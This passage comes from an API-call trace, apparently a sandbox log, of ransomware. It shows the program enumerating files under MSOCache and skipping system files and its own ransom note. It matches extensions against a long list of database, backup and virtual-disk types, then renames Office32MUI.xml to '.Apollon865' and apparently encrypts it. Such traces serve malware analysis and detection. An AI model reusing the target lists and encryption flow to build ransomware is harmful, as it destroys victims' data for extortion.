	[0078.502] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0078.502] lstrlenW (lpString="fp4") returned 3
	[0078.502] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0078.502] lstrlenW (lpString="fp5") returned 3
	[0078.502] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0078.502] lstrlenW (lpString="fp7") returned 3
	[0078.502] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0078.502] lstrlenW (lpString="fpt") returned 3
	[0078.502] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0078.502] lstrlenW (lpString="frm") returned 3
	[0078.502] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0078.502] lstrlenW (lpString="gdb") returned 3
	[0078.502] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0078.502] lstrlenW (lpString="gdb") returned 3
	[0078.502] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0078.502] lstrlenW (lpString="grdb") returned 4
	[0078.502] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0078.503] lstrlenW (lpString="gwi") returned 3
	[0078.503] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0078.503] lstrlenW (lpString="hdb") returned 3
	[0078.503] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0078.503] lstrlenW (lpString="his") returned 3
	[0078.503] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0078.503] lstrlenW (lpString="ib") returned 2
	[0078.503] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0078.503] lstrlenW (lpString="idb") returned 3
	[0078.503] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0078.503] lstrlenW (lpString="ihx") returned 3
	[0078.503] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0078.503] lstrlenW (lpString="itdb") returned 4
	[0078.503] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0078.503] lstrlenW (lpString="itw") returned 3
	[0078.503] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0078.503] lstrlenW (lpString="jet") returned 3
	[0078.503] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0078.503] lstrlenW (lpString="jtx") returned 3
	[0078.503] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0078.503] lstrlenW (lpString="kdb") returned 3
	[0078.503] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0078.503] lstrlenW (lpString="kexi") returned 4
	[0078.503] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0078.503] lstrlenW (lpString="kexic") returned 5
	[0078.503] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1
	[0078.503] lstrlenW (lpString="kexis") returned 5
	[0078.503] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1
	[0078.503] lstrlenW (lpString="lgc") returned 3
	[0078.503] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0078.503] lstrlenW (lpString="lwx") returned 3
	[0078.503] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0078.503] lstrlenW (lpString="maf") returned 3
	[0078.503] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0078.503] lstrlenW (lpString="maq") returned 3
	[0078.503] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0078.503] lstrlenW (lpString="mar") returned 3
	[0078.504] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0078.504] lstrlenW (lpString="marshal") returned 7
	[0078.504] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1
	[0078.504] lstrlenW (lpString="mas") returned 3
	[0078.504] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0078.504] lstrlenW (lpString="mav") returned 3
	[0078.504] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0078.504] lstrlenW (lpString="maw") returned 3
	[0078.504] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0078.504] lstrlenW (lpString="mdbhtml") returned 7
	[0078.504] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1
	[0078.504] lstrlenW (lpString="mdn") returned 3
	[0078.504] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0078.504] lstrlenW (lpString="mdt") returned 3
	[0078.504] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0078.504] lstrlenW (lpString="mfd") returned 3
	[0078.504] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0078.504] lstrlenW (lpString="mpd") returned 3
	[0078.504] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0078.504] lstrlenW (lpString="mrg") returned 3
	[0078.504] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0078.504] lstrlenW (lpString="mud") returned 3
	[0078.504] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0078.504] lstrlenW (lpString="mwb") returned 3
	[0078.504] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0078.504] lstrlenW (lpString="myd") returned 3
	[0078.504] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0078.504] lstrlenW (lpString="ndf") returned 3
	[0078.504] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0078.504] lstrlenW (lpString="nnt") returned 3
	[0078.504] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0078.504] lstrlenW (lpString="nrmlib") returned 6
	[0078.504] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1
	[0078.504] lstrlenW (lpString="ns2") returned 3
	[0078.504] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0078.504] lstrlenW (lpString="ns3") returned 3
	[0078.504] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0078.505] lstrlenW (lpString="ns4") returned 3
	[0078.505] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0078.505] lstrlenW (lpString="nsf") returned 3
	[0078.505] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0078.505] lstrlenW (lpString="nv") returned 2
	[0078.505] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0078.505] lstrlenW (lpString="nv2") returned 3
	[0078.505] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0078.505] lstrlenW (lpString="nwdb") returned 4
	[0078.505] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0078.505] lstrlenW (lpString="nyf") returned 3
	[0078.505] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0078.505] lstrlenW (lpString="odb") returned 3
	[0078.505] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0078.505] lstrlenW (lpString="odb") returned 3
	[0078.505] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0078.505] lstrlenW (lpString="oqy") returned 3
	[0078.505] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0078.505] lstrlenW (lpString="ora") returned 3
	[0078.505] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0078.505] lstrlenW (lpString="orx") returned 3
	[0078.505] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0078.505] lstrlenW (lpString="owc") returned 3
	[0078.505] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0078.505] lstrlenW (lpString="p96") returned 3
	[0078.505] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0078.505] lstrlenW (lpString="p97") returned 3
	[0078.505] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0078.505] lstrlenW (lpString="pan") returned 3
	[0078.505] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0078.505] lstrlenW (lpString="pdb") returned 3
	[0078.505] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0078.505] lstrlenW (lpString="pdm") returned 3
	[0078.505] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0078.505] lstrlenW (lpString="pnz") returned 3
	[0078.505] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0078.505] lstrlenW (lpString="qry") returned 3
	[0078.506] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0078.506] lstrlenW (lpString="qvd") returned 3
	[0078.506] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0078.506] lstrlenW (lpString="rbf") returned 3
	[0078.506] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0078.506] lstrlenW (lpString="rctd") returned 4
	[0078.506] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0078.506] lstrlenW (lpString="rod") returned 3
	[0078.506] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0078.506] lstrlenW (lpString="rodx") returned 4
	[0078.506] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0078.506] lstrlenW (lpString="rpd") returned 3
	[0078.506] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0078.506] lstrlenW (lpString="rsd") returned 3
	[0078.506] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0078.506] lstrlenW (lpString="sas7bdat") returned 8
	[0078.506] lstrcmpiW (lpString1="2MUI.msi", lpString2="sas7bdat") returned -1
	[0078.506] lstrlenW (lpString="sbf") returned 3
	[0078.506] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0078.506] lstrlenW (lpString="scx") returned 3
	[0078.506] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0078.506] lstrlenW (lpString="sdb") returned 3
	[0078.506] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0078.506] lstrlenW (lpString="sdc") returned 3
	[0078.506] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0078.506] lstrlenW (lpString="sdf") returned 3
	[0078.506] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0078.506] lstrlenW (lpString="sis") returned 3
	[0078.506] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0078.506] lstrlenW (lpString="spq") returned 3
	[0078.506] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0078.506] lstrlenW (lpString="te") returned 2
	[0078.506] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0078.506] lstrlenW (lpString="teacher") returned 7
	[0078.506] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1
	[0078.506] lstrlenW (lpString="tmd") returned 3
	[0078.506] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0078.506] lstrlenW (lpString="tps") returned 3
	[0078.507] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0078.507] lstrlenW (lpString="trc") returned 3
	[0078.507] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0078.507] lstrlenW (lpString="trc") returned 3
	[0078.507] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0078.507] lstrlenW (lpString="trm") returned 3
	[0078.507] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0078.507] lstrlenW (lpString="udb") returned 3
	[0078.507] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0078.507] lstrlenW (lpString="udl") returned 3
	[0078.507] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0078.507] lstrlenW (lpString="usr") returned 3
	[0078.507] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0078.507] lstrlenW (lpString="v12") returned 3
	[0078.507] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0078.507] lstrlenW (lpString="vis") returned 3
	[0078.507] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0078.507] lstrlenW (lpString="vpd") returned 3
	[0078.507] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0078.507] lstrlenW (lpString="vvv") returned 3
	[0078.507] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0078.507] lstrlenW (lpString="wdb") returned 3
	[0078.507] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0078.507] lstrlenW (lpString="wmdb") returned 4
	[0078.507] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0078.507] lstrlenW (lpString="wrk") returned 3
	[0078.507] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0078.507] lstrlenW (lpString="xdb") returned 3
	[0078.507] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0078.507] lstrlenW (lpString="xld") returned 3
	[0078.507] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0078.507] lstrlenW (lpString="xmlff") returned 5
	[0078.507] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1
	[0078.507] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0078.507] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.507] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="Apollon865.txt.exe") returned 1
	[0078.507] lstrcmpiW (lpString1="Office32MUI.xml", lpString2=".") returned 1
	[0078.508] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="..") returned 1
	[0078.508] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="windows") returned -1
	[0078.508] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="bootmgr") returned 1
	[0078.508] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="temp") returned -1
	[0078.508] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="pagefile.sys") returned -1
	[0078.508] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="boot") returned 1
	[0078.508] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="ids.txt") returned 1
	[0078.508] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="ntuser.dat") returned 1
	[0078.508] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="perflogs") returned -1
	[0078.508] lstrcmpiW (lpString1="Office32MUI.xml", lpString2="MSBuild") returned 1
	[0078.508] lstrlenW (lpString="Office32MUI.xml") returned 15
	[0078.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0078.508] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Office32MUI.xml" | out: lpString1="Office32MUI.xml") returned="Office32MUI.xml"
	[0078.508] lstrlenW (lpString="Office32MUI.xml") returned 15
	[0078.508] lstrlenW (lpString="Apollon865") returned 10
	[0078.508] lstrcmpiW (lpString1="e32MUI.xml", lpString2="Apollon865") returned 1
	[0078.508] lstrlenW (lpString=".dll") returned 4
	[0078.508] lstrcmpiW (lpString1="Office32MUI.xml", lpString2=".dll") returned 1
	[0078.508] lstrlenW (lpString=".lnk") returned 4
	[0078.508] lstrcmpiW (lpString1="Office32MUI.xml", lpString2=".lnk") returned 1
	[0078.508] lstrlenW (lpString=".ini") returned 4
	[0078.508] lstrcmpiW (lpString1="Office32MUI.xml", lpString2=".ini") returned 1
	[0078.508] lstrlenW (lpString=".sys") returned 4
	[0078.508] lstrcmpiW (lpString1="Office32MUI.xml", lpString2=".sys") returned 1
	[0078.508] lstrlenW (lpString="Office32MUI.xml") returned 15
	[0078.508] lstrlenW (lpString="bak") returned 3
	[0078.508] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0078.508] lstrlenW (lpString="ba_") returned 3
	[0078.508] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0078.508] lstrlenW (lpString="dbb") returned 3
	[0078.508] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0078.508] lstrlenW (lpString="vmdk") returned 4
	[0078.508] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0078.508] lstrlenW (lpString="rar") returned 3
	[0078.508] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0078.508] lstrlenW (lpString="zip") returned 3
	[0078.509] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0078.509] lstrlenW (lpString="tgz") returned 3
	[0078.509] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0078.509] lstrlenW (lpString="vbox") returned 4
	[0078.509] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0078.509] lstrlenW (lpString="vdi") returned 3
	[0078.509] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0078.509] lstrlenW (lpString="vhd") returned 3
	[0078.509] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0078.509] lstrlenW (lpString="vhdx") returned 4
	[0078.509] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0078.509] lstrlenW (lpString="avhd") returned 4
	[0078.509] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0078.509] lstrlenW (lpString="db") returned 2
	[0078.509] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0078.509] lstrlenW (lpString="db2") returned 3
	[0078.509] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0078.509] lstrlenW (lpString="db3") returned 3
	[0078.509] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0078.509] lstrlenW (lpString="dbf") returned 3
	[0078.509] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0078.509] lstrlenW (lpString="mdf") returned 3
	[0078.509] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0078.509] lstrlenW (lpString="mdb") returned 3
	[0078.509] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0078.509] lstrlenW (lpString="sql") returned 3
	[0078.509] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0078.509] lstrlenW (lpString="sqlite") returned 6
	[0078.509] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1
	[0078.509] lstrlenW (lpString="sqlite3") returned 7
	[0078.509] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1
	[0078.509] lstrlenW (lpString="sqlitedb") returned 8
	[0078.509] lstrcmpiW (lpString1="2MUI.xml", lpString2="sqlitedb") returned -1
	[0078.509] lstrlenW (lpString="xml") returned 3
	[0078.509] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0078.509] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.Apollon865") returned 89
	[0078.509] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.510] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0078.510] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1383) returned 1
	[0078.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0078.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfa30
	[0078.511] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf920) returned 1
	[0078.512] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.512] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0078.512] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x870, lpName=0x0) returned 0xd8
	[0078.513] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x870) returned 0x100000
	[0078.514] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf920) returned 1
	[0078.515] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.515] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0078.515] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.515] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.515] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.515] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.515] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.515] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.515] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0078.515] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.515] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0078.516] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.516] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.516] CloseHandle (hObject=0xd8) returned 1
	[0078.516] CloseHandle (hObject=0xc0) returned 1
	[0078.516] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.516] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfa30 | out: hHeap=0x580000) returned 1
	[0078.516] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0078.516] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1
	[0078.516] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.516] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="Apollon865.txt.exe") returned 1
	[0078.516] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2=".") returned 1
	[0078.516] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="..") returned 1
	[0078.516] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="windows") returned -1
	[0078.516] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="bootmgr") returned 1
	[0078.516] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="temp") returned -1
	[0078.516] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="pagefile.sys") returned -1
	[0078.516] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="boot") returned 1
	[0078.516] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="ids.txt") returned 1
	[0078.516] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="ntuser.dat") returned 1
	[0078.516] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="perflogs") returned -1
	[0078.516] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="MSBuild") returned 1
	[0078.516] lstrlenW (lpString="OWOW32LR.cab") returned 12
	[0078.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0078.516] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="OWOW32LR.cab" | out: lpString1="OWOW32LR.cab") returned="OWOW32LR.cab"
	[0078.516] lstrlenW (lpString="OWOW32LR.cab") returned 12
	[0078.517] lstrlenW (lpString="Apollon865") returned 10
	[0078.517] lstrcmpiW (lpString1="OW32LR.cab", lpString2="Apollon865") returned 1
	[0078.517] lstrlenW (lpString=".dll") returned 4
	[0078.517] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2=".dll") returned 1
	[0078.517] lstrlenW (lpString=".lnk") returned 4
	[0078.517] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2=".lnk") returned 1
	[0078.517] lstrlenW (lpString=".ini") returned 4
	[0078.517] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2=".ini") returned 1
	[0078.517] lstrlenW (lpString=".sys") returned 4
	[0078.517] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2=".sys") returned 1
	[0078.517] lstrlenW (lpString="OWOW32LR.cab") returned 12
	[0078.517] lstrlenW (lpString="bak") returned 3
	[0078.517] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0078.517] lstrlenW (lpString="ba_") returned 3
	[0078.517] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0078.517] lstrlenW (lpString="dbb") returned 3
	[0078.517] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0078.517] lstrlenW (lpString="vmdk") returned 4
	[0078.517] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0078.517] lstrlenW (lpString="rar") returned 3
	[0078.517] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0078.517] lstrlenW (lpString="zip") returned 3
	[0078.517] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0078.517] lstrlenW (lpString="tgz") returned 3
	[0078.517] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0078.517] lstrlenW (lpString="vbox") returned 4
	[0078.517] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0078.517] lstrlenW (lpString="vdi") returned 3
	[0078.517] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0078.517] lstrlenW (lpString="vhd") returned 3
	[0078.517] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0078.517] lstrlenW (lpString="vhdx") returned 4
	[0078.517] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0078.517] lstrlenW (lpString="avhd") returned 4
	[0078.517] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0078.517] lstrlenW (lpString="db") returned 2
	[0078.518] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0078.518] lstrlenW (lpString="db2") returned 3
	[0078.518] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0078.518] lstrlenW (lpString="db3") returned 3
	[0078.518] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0078.518] lstrlenW (lpString="dbf") returned 3
	[0078.518] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0078.518] lstrlenW (lpString="mdf") returned 3
	[0078.518] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0078.518] lstrlenW (lpString="mdb") returned 3
	[0078.518] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0078.518] lstrlenW (lpString="sql") returned 3
	[0078.518] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0078.518] lstrlenW (lpString="sqlite") returned 6
	[0078.518] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1
	[0078.518] lstrlenW (lpString="sqlite3") returned 7
	[0078.518] lstrcmpiW (lpString1="2LR.cab", lpString2="sqlite3") returned -1
	[0078.518] lstrlenW (lpString="sqlitedb") returned 8
	[0078.518] lstrcmpiW (lpString1="32LR.cab", lpString2="sqlitedb") returned -1
	[0078.518] lstrlenW (lpString="xml") returned 3
